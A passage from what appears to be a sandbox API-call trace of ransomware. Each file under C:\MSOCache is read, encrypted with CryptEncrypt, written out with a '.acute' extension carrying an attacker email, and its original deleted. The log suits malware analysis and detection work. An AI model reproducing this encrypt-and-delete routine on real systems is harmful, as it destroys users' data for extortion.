pdwDataLen=0x355f6a0*=0xc80) returned 1 [0047.167] WriteFile (in: hFile=0x180, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xc80, lpOverlapped=0x0) returned 1 [0047.168] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5930e0) returned 1 [0047.168] CryptSetKeyParam (hKey=0x5930e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.168] CryptEncrypt (in: hKey=0x5930e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.168] CryptDestroyKey (hKey=0x5930e0) returned 1 [0047.168] WriteFile (in: hFile=0x180, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.168] CryptDestroyKey (hKey=0x593060) returned 1 [0047.168] CloseHandle (hObject=0x184) returned 1 [0047.169] CloseHandle (hObject=0x180) returned 1 [0047.169] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0047.170] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.170] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.172] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=4207) returned 1 [0047.172] CloseHandle (hObject=0x184) returned 1 [0047.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0047.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.172] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.173] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.173] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.173] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.173] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593060) returned 1 [0047.173] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.173] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x106f, lpOverlapped=0x0) returned 1 [0047.317] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x1070, dwBufLen=0x1070 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x1070) returned 1 [0047.317] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x1070, lpOverlapped=0x0) returned 1 [0047.320] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0047.320] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.320] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.321] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.321] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.321] CryptDestroyKey (hKey=0x593060) returned 1 [0047.321] CloseHandle (hObject=0x184) returned 1 [0047.321] CloseHandle (hObject=0x170) returned 1 [0047.322] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0047.323] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.323] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.323] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2424) returned 1 [0047.323] CloseHandle (hObject=0x170) returned 1 [0047.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0047.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.323] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.323] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.323] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.323] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.325] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593060) returned 1 [0047.325] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.325] ReadFile (in: hFile=0x170, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x978, lpOverlapped=0x0) returned 1 [0047.326] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x980, dwBufLen=0x980 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x980) returned 1 [0047.327] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x980, lpOverlapped=0x0) returned 1 [0047.327] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0047.327] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.327] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.328] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.328] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.328] CryptDestroyKey (hKey=0x593060) returned 1 [0047.328] CloseHandle (hObject=0x170) returned 1 [0047.328] CloseHandle (hObject=0x184) returned 1 [0047.328] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0047.329] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.329] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.330] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1800) returned 1 [0047.330] CloseHandle (hObject=0x184) returned 1 [0047.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0047.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.331] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.331] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.331] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.331] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.332] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593060) returned 1 [0047.332] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.332] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x708, lpOverlapped=0x0) returned 1 [0047.333] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x710, dwBufLen=0x710 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x710) returned 1 [0047.333] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x710, lpOverlapped=0x0) returned 1 [0047.334] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0047.334] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.334] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.334] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.334] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.334] CryptDestroyKey (hKey=0x593060) returned 1 [0047.334] CloseHandle (hObject=0x184) returned 1 [0047.334] CloseHandle (hObject=0x170) returned 1 [0047.335] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0047.336] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.336] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.337] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1347) returned 1 [0047.337] CloseHandle (hObject=0x170) returned 1 [0047.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0047.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.337] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.337] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.337] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.338] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.338] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593060) returned 1 [0047.338] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.338] ReadFile (in: hFile=0x170, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x543, lpOverlapped=0x0) returned 1 [0047.340] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x550, dwBufLen=0x550 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x550) returned 1 [0047.340] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x550, lpOverlapped=0x0) returned 1 [0047.341] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0047.341] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.341] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.341] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.341] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.341] CryptDestroyKey (hKey=0x593060) returned 1 [0047.341] CloseHandle (hObject=0x170) returned 1 [0047.341] CloseHandle (hObject=0x184) returned 1 [0047.342] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0047.343] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.343] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.343] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1457) returned 1 [0047.343] CloseHandle (hObject=0x184) returned 1 [0047.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0047.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.344] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.344] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.344] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.344] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.344] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593060) returned 1 [0047.344] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.344] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x5b1, lpOverlapped=0x0) returned 1 [0047.346] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5c0) returned 1 [0047.346] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x5c0, lpOverlapped=0x0) returned 1 [0047.347] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0047.347] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.347] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.347] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.347] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.347] CryptDestroyKey (hKey=0x593060) returned 1 [0047.347] CloseHandle (hObject=0x184) returned 1 [0047.347] CloseHandle (hObject=0x170) returned 1 [0047.348] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0047.349] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.349] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.349] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1458) returned 1 [0047.349] CloseHandle (hObject=0x170) returned 1 [0047.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All 